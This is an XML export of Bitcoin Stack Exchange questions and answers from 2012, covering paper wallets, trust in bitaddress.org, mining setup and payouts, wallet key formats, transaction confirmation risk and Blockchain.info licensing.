  <row Id="4413" PostTypeId="2" ParentId="4411" CreationDate="2012-08-12T21:51:02.363" Score="7" Body="&lt;p&gt;Here's a simple way to do it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;On &lt;a href=&quot;http://bitaddress.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitaddress.org&lt;/a&gt;, use the &quot;Paper Wallet&quot; tab and create 1 address&lt;/li&gt;&#xA;&lt;li&gt;Using your Bitcoin client, send an amount of bitcoins to the Bitcoin Address on the paper wallet&lt;/li&gt;&#xA;&lt;li&gt;Print the paper wallet and give it to your friend&lt;/li&gt;&#xA;&lt;li&gt;Tell your friend to create a wallet at &lt;a href=&quot;https://blockchain.info/wallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;My Wallet&lt;/a&gt;. He can then use the &quot;import from paper wallet&quot; feature and simply scan the QR code to import the bitcoins.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Please note that when handing over a private key &quot;offline&quot; like this both you and the receiver will have access to the funds if you keep a copy of the private key. The receiver has to trust you to not take advantage of that before he has had the chance to move the funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitaddress.org by the way is a client side tool so you are not trusting them with your money, though you might want to read this: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4416/should-i-trust-bitaddress-org&quot;&gt;Should I trust bitaddress.org?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="105" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2012-08-13T18:04:55.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4415" PostTypeId="2" ParentId="4411" CreationDate="2012-08-13T01:24:14.303" Score="5" Body="&lt;p&gt;You can give them the private keys associated with given Bitcoin Address, but it's generally not the best way of transferring Bitcoins over. You ought to just make a regular Bitcoin transfer. Both of you would need to be using those for handling Bitcoins anyway, so this way would be identical to what you will be doing anyway.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-08-13T01:24:14.303" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4416" PostTypeId="1" CreationDate="2012-08-13T01:36:53.427" Score="14" ViewCount="4641" Body="&lt;p&gt;AFAIK, the generation of the address pairs occurs on your computer but the concept still makes me nervous as it's occurring in the browser and I have to trust the owner of the site, I think.&lt;/p&gt;&#xA;" OwnerUserId="1719" LastActivityDate="2014-11-09T00:32:21.620" Title="Should I trust bitaddress.org?" Tags="|security|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4417" PostTypeId="2" ParentId="4416" CreationDate="2012-08-13T01:53:42.993" Score="9" Body="&lt;p&gt;You don't &lt;em&gt;entirely&lt;/em&gt; have to trust the owner of the site. The site is client side Javascript based, which means you can probably save a copy of the code, then review it, and run it offline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you continue to use the website though, you're trusting the owner of the site to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Not change the code in any way that compromises the security of the private key&lt;/li&gt;&#xA;&lt;li&gt;Maintain adequate security so that no hacker can change the code in any way that compromises the security of the private key&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="516" LastEditorUserId="516" LastEditDate="2012-08-21T08:35:53.870" LastActivityDate="2012-08-21T08:35:53.870" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="4418" PostTypeId="2" ParentId="59" CreationDate="2012-08-13T02:47:57.563" Score="2" Body="&lt;p&gt;In addition to Tenebrix and Fairbrix (&lt;a href=&quot;https://bitcoin.stackexchange.com/a/1422/516&quot;&gt;as mentioned&lt;/a&gt; by phelix), &lt;a href=&quot;http://litecoin.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Litecoin&lt;/a&gt; also is designed to be mined by CPU. At the time of writing, it might even provide adequate return to cover the cost of power in some cases.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2012-08-13T02:47:57.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4419" PostTypeId="2" ParentId="4130" CreationDate="2012-08-13T03:09:27.227" Score="1" Body="&lt;p&gt;I got it working for pool-x.eu connecting via port 80 (the proxy server name and port is just what my browser uses):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@echo off&#xA;set HTTP_PROXY=http://myproxyserver:myport&#xA;START /LOW /B minerd.exe --algo scrypt --url http://mine.pool-x.eu:80/ --userpass myusername.1:mypassword --threads 4 -r -1 -s 5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not all pools allow connections through port 80, so it does limit which pools you can connect to.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2012-08-13T03:09:27.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4420" PostTypeId="2" ParentId="4409" CreationDate="2012-08-13T03:48:34.433" Score="0" Body="&lt;p&gt;WIF stands for &lt;a href=&quot;https://en.bitcoin.it/wiki/Wallet_import_format&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wallet Import Format&lt;/a&gt;, which is a string of text that can be converted to a private key. &lt;a href=&quot;https://bitcoin.stackexchange.com/q/1720/516&quot;&gt;More info here too&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able to &lt;a href=&quot;https://bitcoin.stackexchange.com/a/3532/516&quot;&gt;import the private key into your Bitcoin client&lt;/a&gt;, though I'm not 100% sure whether it accepts WIF format.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2012-08-13T03:48:34.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4421" PostTypeId="2" ParentId="4411" CreationDate="2012-08-13T05:03:41.763" Score="4" Body="&lt;p&gt;Create an &lt;a href=&quot;http://www.Instawallet.org&quot; rel=&quot;nofollow&quot;&gt;Instawallet&lt;/a&gt;, send the funds you wish to pass to the bitcoin address for that Instawallet, and then just give the Instawallet URL to the other person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transfer payment from your wallet will need to confirm before the Instawallet balance will reflect the payment but once it does, those funds are available to anyone who knows that Instawallet URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a nearly identical service called &lt;a href=&quot;http://www.EasyWallet.org&quot; rel=&quot;nofollow&quot;&gt;EasyWallet&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-08-13T05:03:41.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4422" PostTypeId="1" CreationDate="2012-08-13T15:17:36.123" Score="3" ViewCount="248" Body="&lt;p&gt;I tried bootstrapping bitcoind, but it's slowly downloading and downloading. I tried putting &lt;a href=&quot;https://bitcoin.stackexchange.com/a/802&quot;&gt;these files&lt;/a&gt; first, but it is still downloading something a bit, stays 100% CPU, iowaits, fills up the thawing free gigabytes and is not going to finish soon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there somewhere ready-to-use &lt;code&gt;$HOME/.bitcoin&lt;/code&gt; directory available for download to skip any lengthy initial phase?&lt;/p&gt;&#xA;" OwnerUserId="1721" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2013-03-07T07:13:52.277" Title="Are there ready-to-use indexed bitcoind data files available somewhere?" Tags="|bitcoind|synchronization|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4423" PostTypeId="2" ParentId="4375" CreationDate="2012-08-13T16:21:04.277" Score="3" Body="&lt;p&gt;Tomas, there might not be anything that can be done except wait.  I was one of the people using the internet in 1970s and I thought it was wonderful but I had a hard time convincing other people.  Then in the 1990s it really took off, so now even little children are using browsers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also in your post a hint that unless we market Bitcoin better, it will die.  I don't believe it is up to us.  It lives or dies based on it's own merits.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing we can do now is to finish building all the parts of Bitcoin.  There are some parts that are still missing.  For example, a way to import keys into the client.  It is actually very good that public recognition is not happening so quickly.&lt;/p&gt;&#xA;" OwnerUserId="662" LastActivityDate="2012-08-13T16:21:04.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4424" PostTypeId="1" AcceptedAnswerId="4425" CreationDate="2012-08-13T18:48:13.513" Score="3" ViewCount="7203" Body="&lt;p&gt;The question is clear I think. I used 3.5GH/s because that's what the upcoming ButterflyLabs Jalapeno will run. &lt;strong&gt;Assume it's mining for an average mining pool with 3.5GH/s&lt;/strong&gt; (only bitcoins).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm interested in maintaining one on a spot where I can get electricity for free, but I have limited internet access.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="5406" LastEditDate="2016-02-03T10:28:04.943" LastActivityDate="2016-02-03T10:28:04.943" Title="How much internet traffic does a 3.5GH/sec pooled miner use?" Tags="|mining-pools|bandwidth|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4425" PostTypeId="2" ParentId="4424" CreationDate="2012-08-13T19:30:18.557" Score="2" Body="&lt;p&gt;The internet traffic for any miner is generally minimal and in most cases the miner speed is irrelevant. The &lt;a href=&quot;https://en.bitcoin.it/wiki/Getwork&quot; rel=&quot;nofollow&quot;&gt;Getwork&lt;/a&gt; protocol would at most make a small request every second, but with extensions such as rollntime, one can make the request less frequently. You can roughly see how much data is being sent from the examples provided &lt;a href=&quot;https://bitcointalk.org/index.php?topic=51281.msg611856#msg611856&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Generally, you shouldn't worry about the internet speed or bandwidth.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-08-13T19:30:18.557" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4426" PostTypeId="1" CreationDate="2012-08-13T20:20:20.073" Score="1" ViewCount="500" Body="&lt;p&gt;I have been mining for over 24 hours @ 97.3 Mhash/s. Shouldn't I have at least obtained .01 bitcoin by now? How do I verify the mining that I am doing is transferring into my Wallet?&lt;/p&gt;&#xA;" OwnerUserId="1723" LastEditorUserId="5406" LastEditDate="2016-04-25T19:55:16.050" LastActivityDate="2016-04-25T19:55:16.050" Title="Mining and Bitcoin Wallet" Tags="|wallet|mining-profitability|hashpower|" AnswerCount="1" CommentCount="1" ClosedDate="2016-02-03T10:26:45.480" ContentLicense="CC BY-SA 3.0" />
  <row Id="4427" PostTypeId="2" ParentId="4426" CreationDate="2012-08-13T21:43:44.630" Score="2" Body="&lt;p&gt;If you are solo mining against your own bitcoin server, then for each hash your miner tries it either solves the block (and earns 50BTC [plus transaction fees], provided it doesn't get orphaned), or doesn't (and earns nothing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're mining with a pool, then payment depends on the pool's payment system. If for example it is PPLNS (Pay Per Last N Shares) with a value of 500,000 for N, then you don't get paid anything unless a block is solved within the 500,000 &quot;shares&quot; mined following each share that you submit. Let us know the pool you're using (or the payment mechanism), and we will be able to provide some more info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With 97.3Mhash/s, I'd (roughly) estimate you'd earn around 0.04 to 0.05BTC per 24hrs with a difficulty of 2,100,000 (approx the current difficulty).&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2012-08-13T21:43:44.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4428" PostTypeId="1" CreationDate="2012-08-14T03:02:06.407" Score="7" ViewCount="2170" Body="&lt;p&gt;I've been messing around with an empty wallet file using the 'pywallet' utility, and have come across something I can't understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A dump of the unencrypted wallet readily reveals a list containing entries such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &quot;addr&quot;: &quot;1NpYUPpz2E4fhYfoJRfUApa5hSPcrpCGaT&quot;, &#xA;        &quot;hexsec&quot;: &quot;d38c1f602bc0bc90a54c5d743b3b75460c4aeeb1dc6ad62d3c6758c3714998a0&quot;, &#xA;        &quot;reserve&quot;: 1, &#xA;        &quot;sec&quot;: &quot;5KRTGtTczAwef7vdDfm9knDyKMoaa8XHJURnMZnQFd5qkWVJtsB&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second/fourth entries are obviously the private key.  However, if I input this key at (for instance) bitaddress.org, it generates&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        1EEYqeJHkubdhcrHvH7ajpSBEALXMygoD8 (address)&#xA;        1HoVqjG35pW3AQ7wtYtA72tSpyLyP4vDLp (compressed address)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;neither of which match ANY of the other addresses listed in the dump.  I can't find an explanation for this anywhere, and I'm wondering what the ramifications of losing, say, the first address in the key entry ('1NpYUP...')  or the addresses in the pool are if they don't actually correspond to the private keys in the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Just a heads up - do not post your private key in public unless you'll no longer be using that Bitcoin address&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1724" LastEditorUserId="153" LastEditDate="2012-08-21T07:29:21.867" LastActivityDate="2012-08-25T02:27:53.743" Title="Why don't addresses in an (unencrypted) wallet.dat file seem to match addresses that would be generated by the private keys in the wallet?" Tags="|wallet|address|private-key|" AnswerCount="2" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="4429" PostTypeId="2" ParentId="3644" CreationDate="2012-08-14T07:48:40.323" Score="1" Body="&lt;p&gt;To expand upon &lt;a href=&quot;https://bitcoin.stackexchange.com/a/3666/1725&quot;&gt;Phelix's answer&lt;/a&gt;, the discussion he mentioned at &lt;a href=&quot;http://dot-bit.org/forum/viewtopic.php?f=2&amp;amp;t=360&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://dot-bit.org/forum/viewtopic.php?f=2&amp;amp;t=360&lt;/a&gt; is about two things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The same as this question - why namecoin prices are so low&lt;/li&gt;&#xA;&lt;li&gt;Possible ways of adjusting the prices in the future.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The response to topic 1 seems fairly reasonable, at least in the long term (although namecoin may not survive that long in the short term if the problem persists). Namely, people said that as miners get fewer namecoins from generating blocks, they will demand higher fees to include transactions in those blocks. Eventually, the miners will set the price of registration based on how quickly somebody wants to register a name. If you don't care when it's registered, you can give a small or nonexistant fee and your name will probably be included in a future block. On the other hand, if you want a quick registration, you can include a much higher fee to likely get in the next block. Thus, in many cases registration prices will be set by the free market and my rise significantly higher than 1 NMC.&lt;/p&gt;&#xA;" OwnerUserId="1725" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2012-08-14T07:48:40.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4430" PostTypeId="1" CreationDate="2012-08-14T12:12:03.710" Score="6" ViewCount="127" Body="&lt;p&gt;I'm currently trying to detect blockchain forks and I noticed that even when dumping all blocks I get to a separate file I seem to miss a few.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically I'm looking for the blocks marked as orphans in &lt;a href=&quot;http://blockchain.info/orphaned-blocks&quot;&gt;blockchain.info/orphaned-blocks&lt;/a&gt; in my dump and I'm missing quite a few.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm wondering whether nodes stop forwarding blocks that they believe to be orphans (because they currently have the concurring block as their blockchain head)? Shouldn't all concurring blocks be distributed?&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-02-15T21:37:36.603" Title="When will a block not be forwarded?" Tags="|blockchain|blockchain-fork|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4431" PostTypeId="1" CreationDate="2012-08-14T14:47:49.647" Score="4" ViewCount="3013" Body="&lt;p&gt;Sorry, I'm incredibly new to this whole thing.  I started off using the Armory Client for my Bitcoin wallet then was suggested to try &quot;MultiBit&quot;.  I've saved my .wallet file from Armory, however cannot open it in MultiBit.  Is this normal?  How does one use the same wallet?  Stick to one bitcoin client?  I also don't see the option to load a wallet on the original bitcoin client.  Is it just easier to setup a wallet with a service like blockchain?&lt;/p&gt;&#xA;" OwnerUserId="1726" LastEditorUserId="1842" LastEditDate="2012-11-19T16:16:27.997" LastActivityDate="2012-11-19T16:16:27.997" Title="How do I open an Armory .wallet file in the MultiBit Client?" Tags="|client|blockchain|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4432" PostTypeId="2" ParentId="4431" CreationDate="2012-08-14T17:15:01.407" Score="2" Body="&lt;p&gt;It is normal. Each Bitcoin client makes its own choices on how it stores its private keys and balance information. The main (Satoshi) client uses a BerkeleyDB database, BitcoinJ serializes its wallet object directly to file, and other clients do other things. While I'm not 100% certain how Armory or MultiBit store their wallets, chances are they've chosen different techniques which are not compatible. If you want to switch clients, I'd suggest generating a new wallet in your new client and using the old client to send all your coins there. If you have addresses that you'd like to keep from the old client, you'll need to find some way to export the private keys from the old and import them into the new via some standard they both support, like WIF (Wallet Import Format) private keys. Sadly, not every client will give you easy access to the private keys so it may not actually be possible - I'd refer to both clients' documentation for that answer.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2012-08-14T17:15:01.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4433" PostTypeId="2" ParentId="4401" CreationDate="2012-08-14T21:03:56.473" Score="8" Body="&lt;p&gt;It's like when you buy anything else.  When you trade your dollars for somebody else's eggs, you get the other person's eggs, and they get your dollars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then sell the eggs to somebody else if you like - then you get their dollars, and they get your eggs.  If you are able to sell your eggs for more than you paid for them, you make a profit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of buying eggs, it is possible to mine them (using a device commonly known as a 'hen').  Hens make eggs out of thin air, and are effectively a license to print money since the eggs they make can be traded for dollars.  They do require fuel to run, which costs money.  Miners need to determine whether their earnings from mining eggs is enough to offset the fuel costs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unlike eggs, however, there is a fixed limit of 21 million bitcoins that will ever be created, which makes them relatively scarce, and helps give them value.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-08-14T21:03:56.473" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4434" PostTypeId="2" ParentId="4428" CreationDate="2012-08-14T22:04:20.200" Score="1" Body="&lt;p&gt;Perhaps pywallet is misreporting the bitcoin address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does your wallet actually show a 1NpYUPpz2E4fhYfoJRfUApa5hSPcrpCGaT bitcoin address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a method to manually determine the public address for the private key.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-08-14T22:04:20.200" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4436" PostTypeId="1" CreationDate="2012-08-15T00:45:23.010" Score="4" ViewCount="749" Body="&lt;p&gt;The new release of BitcoinQt Wallet v0.6.3 looks much better but I still can't find out how much the total fees are to send coins. &#xA;My wallet has 0.52390169 BTC and I tried to spend it and got the message &quot;Total exceeds your balance when the .01  BTC tranasaction fee is included&quot; Fair enough so I reduced the spend to 0.51390169 and the get the message &quot;Total exceeds your balance when the .23 BTC tranasaction fee is included&quot;&#xA;This doesn't seem right or fair.&#xA;How do I calculate what the TOTAL fees are going to be?&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2012-08-15T03:10:31.227" Title="How do I calculate what the TOTAL Wallet fees are going to be with Bitcoin-Qt v0.6.3?" Tags="|wallet|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4437" PostTypeId="2" ParentId="1328" CreationDate="2012-08-15T01:34:32.393" Score="1" Body="&lt;p&gt;Confirmation time of received transactions is a key service level measurement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For someone processing transactions with their own custom client, it's mostly up to them as to when they consider a transaction confirmed, as there's a trade off between speed and risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/3246/516&quot;&gt;Multi-node listening&lt;/a&gt; allows a reasonable level of confidence that a double spend hasn't been performed, but it doesn't protect against a &lt;a href=&quot;https://bitcoin.stackexchange.com/a/729/516&quot;&gt;Finney attack&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because a Finney attack is difficult and risky to perform (the attacker risks losing the reward for a solved block), it would only be worth bothering with a particularly large transaction. This means the level of service differs by transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A table indicating confirmation time (and thus service level) would go something like this (figures are educated guesses; perhaps someone can measure it an update the answer at some point):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Transaction size    Risk of Finney attack    Confirmation technique        Confirmation time&#xA;Small               Very Low                 Multi-node listening          &amp;lt;3 Seconds&#xA;Large               High                     2+ Block confirmations        20+ minutes, on average&#xA;Very large          Very High                Many (x) block confirmations  x*10 minutes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously it's open to interpretation as to what is &quot;small&quot; and &quot;large&quot;. As previously stated, the trade off between speed and risk will help determine a suitable balance for each scenario.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2012-08-15T01:44:27.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4438" PostTypeId="1" AcceptedAnswerId="4440" CreationDate="2012-08-15T02:04:12.537" Score="13" ViewCount="3864" Body="&lt;p&gt;I know that there is a github public repo, but I'm not seeing a license file. The Android client is GPL3. Anyone know about licensing for the main site's code?&lt;/p&gt;&#xA;" OwnerUserId="1731" LastEditorUserId="516" LastEditDate="2012-08-15T02:26:36.467" LastActivityDate="2012-08-17T10:10:37.767" Title="Is Blockchain.info Open Source?" Tags="|open-source|blockchain.info|license|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4439" PostTypeId="2" ParentId="4436" CreationDate="2012-08-15T03:10:31.227" Score="2" Body="&lt;p&gt;The fee will change with time, if it happened to be high due to the coins being recently received.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a fork of the client that doesn't require any fee to be paid.  Your transaction will just take a day or so to get any confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can wait to let the coins in your wallet age and then at least the fee should be small and consistent.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-08-15T03:10:31.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4440" PostTypeId="2" ParentId="4438" CreationDate="2012-08-15T11:12:12.740" Score="13" Body="&lt;p&gt;All parts directly involved with the wallet service are open source. On the &lt;a href=&quot;https://github.com/blockchain&quot;&gt;github project page&lt;/a&gt; the repositories My-Wallet, My-Wallet-Integrity-Checker and MyWallet-RPC-Communicator is BSD licensed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The repositories My-Wallet-iPhone, My-Wallet-Android are GPLv3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the database backend and some other parts of the site are not open source. This will change at some point in time, but there are some things I want to finish first.&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastEditorUserId="105" LastEditDate="2012-08-17T10:10:37.767" LastActivityDate="2012-08-17T10:10:37.767" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4441" PostTypeId="1" CreationDate="2012-08-15T12:20:51.437" Score="4" ViewCount="183" Body="&lt;p&gt;There are a few websites that use &lt;a href=&quot;https://en.bitcoin.it/wiki/Green_address&quot; rel=&quot;nofollow&quot;&gt;green addresses&lt;/a&gt;, but how can one go about implementing it using the standard &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;Bitcoin API&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-05-04T06:25:34.950" Title="How to implement a green address in Bitcoind?" Tags="|bitcoind|address|services|trust|green-address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4442" PostTypeId="1" AcceptedAnswerId="4897" CreationDate="2012-08-15T14:57:38.877" Score="8" ViewCount="4527" Body="&lt;pre&gt;&lt;code&gt;2012-08-15 10:57:04.728547 P2Pool: 17401 shares in chain (9127 verified/17405 total) Peers: 11 (0 incoming)&#xA;2012-08-15 10:57:04.728781  Local: 1689MH/s in last 10.0 minutes Local dead on arrival: ~3.8% (2-8%) Expected time to share: 29.8 minutes&#xA;2012-08-15 10:57:04.728886  Shares: 3 (1 orphan, 0 dead) Stale rate: ~33.3% (6-80%) Efficiency: ~73.5% (22-104%) Current payout: 0.0174 BTC&#xA;2012-08-15 10:57:04.728999  Pool: 415GH/s Stale rate: 9.3% Expected time to block: 6.3 hours&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Most of it is evident, but if someone could give a breakdown, that would be very helpful.&lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="5406" LastEditDate="2016-02-03T10:25:12.833" LastActivityDate="2016-02-03T10:25:12.833" Title="What do all of the items in the output from p2pool mean?" Tags="|mining-pools|p2pool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4443" PostTypeId="1" CreationDate="2012-08-15T16:49:34.840" Score="2" ViewCount="548" Body="&lt;p&gt;I'm running the puddinpop rpcminer-opencl.exe that came with Guiminer. I'm running it with crazy settings -gpugrid=128 -gputhreads=256 -aggression=14 on a FirePro 2270 workstation card, and it's reporting about 20 GH/s which I understand is not even remotely possible. I assume something went wrong and all my hashes are broken somehow, but how do I troubleshoot this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: The same miner works fine on one of my other machines. I did find this output on the console: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Build program rval=0&#xA;build STATUS:&#xA;build LOG:C:\Users\Sean\AppData\Local\Temp\OCLF1AC.tmp.cl(51): warning: attribute &quot;vec_type_hint&quot; ignored&#xA;__kernel __attribute__((vec_type_hint(uint))) WORKGROUP void opencl_process(__global opencl_in *in, __global opencl_out *out, const uint loops, const uint bits)&#xA;^&#xA;Create kernel rval=0&#xA;Done allocating OpenCL resources for (128,256)&#xA;Finding best configuration step end (128,256) 6ms  prev best=9223372036854775807ms&#xA;Done allocating OpenCL resources for (16,16)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the warning is odd, but also that last extra (16,16) line doesn't show up on my other machine that works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update 2: With &quot;crazy&quot; settings I get no shares. If I run with no options, it reports 10 MH/s and seems to get about one share every 10 minutes. So somehow changing the settings makes it generate no shares at all!&lt;/p&gt;&#xA;" OwnerUserId="1733" LastEditorUserId="5406" LastEditDate="2016-03-14T19:55:25.850" LastActivityDate="2016-03-14T19:55:25.850" Title="Over-reporting miner?" Tags="|gpu|hashpower|miner-configuration|guiminer|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4444" PostTypeId="2" ParentId="4443" CreationDate="2012-08-15T19:16:37.707" Score="1" Body="&lt;p&gt;I agree, that 15W card should calculate hashes slower than anything listed at  &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Mining_hardware_comparison&lt;/a&gt; - 20MH/s sounds about right.  You probably misread the units (1GH = 1000MH), or the software has a bug and miswrote them.&lt;/p&gt;&#xA;" OwnerUserId="1735" LastActivityDate="2012-08-15T19:16:37.707" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4445" PostTypeId="1" AcceptedAnswerId="4446" CreationDate="2012-08-15T21:25:33.683" Score="29" ViewCount="18827" Body="&lt;p&gt;I'm trying to test to see if transactions went through or not and blockchain.info is super helpful for this on the real network.&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2023-07-17T12:38:23.810" Title="Is there a blockchain.info for testnet?" Tags="|blockchain.info|testnet|" AnswerCount="12" CommentCount="1" ClosedDate="2023-12-19T15:36:25.547" ContentLicense="CC BY-SA 3.0" />
